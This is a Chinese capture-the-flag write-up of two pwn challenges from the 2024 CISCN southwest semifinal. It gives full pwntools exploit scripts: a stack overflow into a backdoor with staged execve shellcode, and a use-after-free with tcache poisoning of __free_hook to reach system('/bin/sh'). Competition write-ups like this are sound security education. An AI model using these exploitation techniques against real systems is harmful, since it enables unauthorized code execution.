-
-
2024全国大学生信息安全竞赛(ciscn)半决赛西南赛区Pwn题解
-
发表于: 2024-6-18 12:50 7169
-
前言
前两天把华南赛区和东北赛区的Ciscn半决赛题目复现完了。
最近西南赛区半决赛也刚刚结束,找师傅要了Pwn题目,复现一下。
Pwn1-vuln
比较有意思的题目,构造很巧妙,call的函数地址指向栈顶变量地址。
使得我们可以构造16字节的read的shellcode实现任意大小shellcode读取。
逆向分析
签到题,程序逆向很简单,挺有意思的一个题目。拖入IDA分析:
程序流程如下:
输入0x40大小的name。
调用strcpy将"Hi there, "拷贝到s中。
然后再次调用strcpy将name拼接到s末尾。
最后将"! Welcome to CiscnCTF2024. If you have any questions you can contact us at test@example@"拼接到s的末尾。
s距离rbp有0x80大小的距离,肯定存在栈溢出漏洞,但是溢出的字节数不多,只能将它给的末尾字符串溢出到返回地址。
仔细观察程序,发现这段很可疑:
1 2 | ptr[10] = '\xD0elpmaxe' ; ptr[11] = '@\b' ; |
直接动态调试看一下这里:
发现这里插入了\x08\xd0两个十六进制,与末尾的@和5字节\x00组合起来就是0x4008D0,显然是一个程序地址。
我们看看这个地址的代码是什么:
这个地方的函数头没了,猜测是后门函数,而函数头估计是被作者故意patch掉了。
这个函数直接调用了sub_400898函数,跟进分析:
这个函数先调用了sub_40086F,跟进分析:
调用了fgets读取最多0x10字节数据到qword_601080指向的地址。最后然后将qword_601080当作函数调用。
利用思路
劫持程序到后门函数
思路很清晰,通过溢出一部分长度将0x4008D0覆盖到返回地址,然后触发后门函数。
计算一下偏移量,可以gdb动态调试,也可以直接数,name输入0x27正好可以将0x4008D0放到返回地址。
由于后门函数限制我们输入16字节的shellcode,无法直接执行execve和orw。
构造16字节shellcode
read的shellcode刚好是16字节:
shellcode = asm(""" mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall """)
而这道题目设计的很巧妙,qword_601080指向栈顶的局部变量v0。
也就是说,当程序执行到call qword_601080时,rsp指向的栈顶地址处就是我们刚刚写入的shellcode。
我们可以找一个寄存器将rdi置0,然后将栈顶地址放入rsi,接着设置edx寄存器,最后设置eax调用号为0,执行syscall。
此时可以通过read读取任意大小的数据到栈顶,覆盖前面已执行完的shellcode后可以继续写入shellcode。
通过动态调试,确定返回地址,在syscall的返回地址处写orw或execve的shellcode即可:
Exp
完整exp如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | from pwn import * elf = ELF( "./vuln" ) p = process([elf.path]) context(arch = elf.arch, os = elf.os) context.log_level = 'debug' p.sendline(b 'a' * 0x27 ) # gdb.attach(p, 'b *0x4008C4\nc') # pause() # read shellcode = asm( """ mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall """ ) print ( len (shellcode)) p.send(shellcode) # shellcode shellcode = asm( """ mov rbx, 0x68732f6e69622f push rbx push rsp pop rdi xor esi,esi xor edx,edx push 0x3b pop rax syscall """ ) p.send(b 'a' * 0x17 + shellcode) p.interactive() |
Pwn2-mcmf
题目是图论中的网络流算法最小费用最大流问题,如果了解过这个算法做起来应该很轻松。
从A到B点,每条路径有流量限制,算法的目的是选择合适的路径使得花费最小。
实际应用:卡车通过高速公路,每条高速公路有流量限制和费用,使得费用最低又能将货物全部送达。
如果没了解过也不要紧,对于这道题目只要能通过逆向可以看懂算法流程即可。
逆向分析
拖入IDA分析:
发现是经典的菜单题,保护全开,给了glibc2.31。然后逐个分析菜单函数。
add函数:
输入from、to,也就是两个结点。接着输入value、cost和flow。
然后调用两次addEdge添加有向图的边,最后还会泄露heap的低12位,分析addEdge函数:
通过数组实现静态链表,通过邻接多重表,并且采用头插法,将结点对应的指针和值赋值到0x18大小的结构体中。
分析edit函数:
可以编辑value和cost,value为8字节,cost为4字节。也就是说可以修改fd指针,也可以修改bk指针的低4字节。
再来分析delete函数:
存在UAF漏洞。
最后分析calc函数:
为需要计算费用的开头和结尾设置的无穷的流量,然后调用mincostmaxflow计算,分析这个函数:
先调用spfa算法找到费用最低的路线,然后对cost求和。
如果cost求和的值大于0xdeadbeef调用gift函数:
可以通过这个gift函数泄露libc基地址。
利用思路
这道题难点应该在于程序逆向分析,当弄清程序执行过程后,glibc2.31的利用应该是比较简单的。
泄露libc
先想办法泄露heap和libc,由于add和edit时对cost进行%10操作,因此mincost求和不可能大于0xdeadbeef。
而cost位于chunk的bk指针低4字节,通过free将其放到tcache中时,cost会变为key的低4字节,即很大的数。
我们可以将其free后,实现cost改为很大的数,然后调用calc函数泄露libc。
具体实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | # leak libc add_chunk( 10 , 11 , 0xdeadbeef , 9 , 1 ) #0 add_chunk( 11 , 12 , 0xdeadbeef , 9 , 1 ) #2 add_chunk( 12 , 13 , 0xdeadbeef , 9 , 1 ) #4 add_chunk( 13 , 14 , 0xdeadbeef , 9 , 1 ) #6 # 0 -> 1 -> 2 add_chunk( 0 , 1 , 0 , 9 , 1 ) #8 add_chunk( 1 , 2 , 0 , 9 , 1 ) #10 delete_chunk( 0 , 1 ) delete_chunk( 1 , 2 ) delete_chunk( 10 , 11 ) delete_chunk( 11 , 12 ) delete_chunk( 12 , 13 ) delete_chunk( 13 , 14 ) calc( 0 , 2 ) #12.13.14.15 p.recvuntil(b 'gitf: ' ) libc_base = int (p.recv( 14 ), 16 ) - 0x1ecbe0 libc.address = libc_base success( 'libc_base = ' + hex (libc_base)) |
解释一下为什么需要这样构造。我们创建2个0x20大小的chunk。
调用calc函数时,会创建4个0x20的chunk,为了防止把我们free掉的2个chunk申请走,先填充4个chunk到tcache即可。
此时,从0到2这条路径中cost会非常大,不过这里由于也修改了flow,导致有时候可能会出现spfa死循环。
调用calc后cost > 0xdeadbeef,成功泄露出libc基地址。
泄露heap
edit函数会打印value和cost的值,即打印fd指针和bk指针的低4字节值。
此时,fd指针指向下一个tcache的地址,因此可以通过edit函数打印出fd指针泄露heap基地址。
1 2 3 4 5 6 7 8 9 | # leak heap # edit_chunk(10, 0xaaaabbbb, 9) p.sendlineafter(b "choice:" , b "2" ) p.sendlineafter(b "index?\n" , str ( 10 ).encode()) p.recvuntil(b 'The value now is: ' ) heap_base = int (p.recvuntil(b '\n' , drop = True )) - 0x11fb0 success( 'heap_base = ' + hex (heap_base)) p.sendlineafter(b "value?\n" , str ( 0xaaaabbbb ).encode()) p.sendlineafter(b "cost?\n" , str ( 9 ).encode()) |
tcache posioning
再次修改tcache[0]的fd指针,指向__free_hook。
然后调用add函数,会申请2个chunk,第一个chunk的fd为value,第二个chunk的fd为-value。
因此,调用add函数时,将-system作为value输入即可修改__free__hook -> system。
1 2 3 4 5 6 | free_hook = libc.sym[ '__free_hook' ] system = libc.sym[ 'system' ] # __free_hook -> system edit_chunk( 10 , free_hook, 9 ) add_chunk( 20 , 21 , - system, 9 , 1 ) #16.17 |
最后,直接delete一个带有binsh字符串的chunk即可:
1 2 3 4 | # 16->value = '/bin/sh\x00' edit_chunk( 16 , 0x68732f6e69622f , 9 ) # delete(16) delete_chunk( 20 , 21 ) |
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 | from pwn import * elf = ELF( "./mcmf" ) libc = ELF( "./libc.so.6" ) p = process([elf.path]) context(arch = elf.arch, os = elf.os) context.log_level = 'debug' def add_chunk(a, b, value, cost, flow): p.sendlineafter(b "choice: " , b "1" ) p.sendlineafter(b "from?\n" , str (a).encode()) p.sendlineafter(b "to?\n" , str (b).encode()) p.sendlineafter(b "value?\n" , str (value).encode()) p.sendlineafter(b "cost?\n" , str (cost).encode()) p.sendlineafter(b "flow?\n" , str (flow).encode()) def edit_chunk(index, value, cost): p.sendlineafter(b "choice:" , b "2" ) p.sendlineafter(b "index?\n" , str (index).encode()) p.sendlineafter(b "value?\n" , str (value).encode()) p.sendlineafter(b "cost?\n" , str (cost).encode()) def delete_chunk(a, b): p.sendlineafter(b "choice:" , b "3" ) p.sendlineafter(b "from?\n" , str (a).encode()) p.sendlineafter(b "to?\n" , str (b).encode()) def calc(a, b): p.sendlineafter(b "choice:" , b "4" ) p.sendlineafter(b "from?\n" , str (a).encode()) p.sendlineafter(b "to?\n" , str (b).encode()) # leak libc add_chunk( 10 , 11 , 0xdeadbeef , 9 , 1 ) #0.1 add_chunk( 11 , 12 , 0xdeadbeef , 9 , 1 ) #2.3 add_chunk( 12 , 13 , 0xdeadbeef , 9 , 1 ) #4.5 add_chunk( 13 , 14 , 0xdeadbeef , 9 , 1 ) #6.7 # 0 -> 1 -> 2 add_chunk( 0 , 1 , 0 , 9 , 1 ) #8.9 add_chunk( 1 , 2 , 0 , 9 , 1 ) #10.11 p.recvuntil(b 'gift: ' ) heap_tmp = int (p.recv( 5 ), 16 ) delete_chunk( 0 , 1 ) delete_chunk( 1 , 2 ) delete_chunk( 10 , 11 ) delete_chunk( 11 , 12 ) delete_chunk( 12 , 13 ) delete_chunk( 13 , 14 ) calc( 0 , 2 ) #12.13.14.15 p.recvuntil(b 'gitf: ' ) libc_base = int (p.recv( 14 ), 16 ) - 0x1ecbe0 libc.address = libc_base success( 'libc_base = ' + hex (libc_base)) # leak heap # edit_chunk(10, 0xaaaabbbb, 9) p.sendlineafter(b "choice:" , b "2" ) p.sendlineafter(b "index?\n" , str ( 10 ).encode()) p.recvuntil(b 'The value now is: ' ) heap_base = int (p.recvuntil(b '\n' , drop = True )) - 0x11fb0 success( 'heap_base = ' + hex (heap_base)) p.sendlineafter(b "value?\n" , str ( 0xaaaabbbb ).encode()) p.sendlineafter(b "cost?\n" , str ( 9 ).encode()) # tcache poisoning free_hook = libc.sym[ '__free_hook' ] system = libc.sym[ 'system' ] # __free_hook -> system edit_chunk( 10 , free_hook, 9 ) add_chunk( 20 , 21 , - system, 9 , 1 ) #16.17 # 16->value = '/bin/sh\x00' edit_chunk( 16 , 0x68732f6e69622f , 9 ) # delete(16) delete_chunk( 20 , 21 ) p.interactive() |
Pwn3-Kernel
Kernel Pwn最近还在学习中,这里先不写WriteUp了,后续再作补充。
有兴趣的师傅可以下载附件研究一下。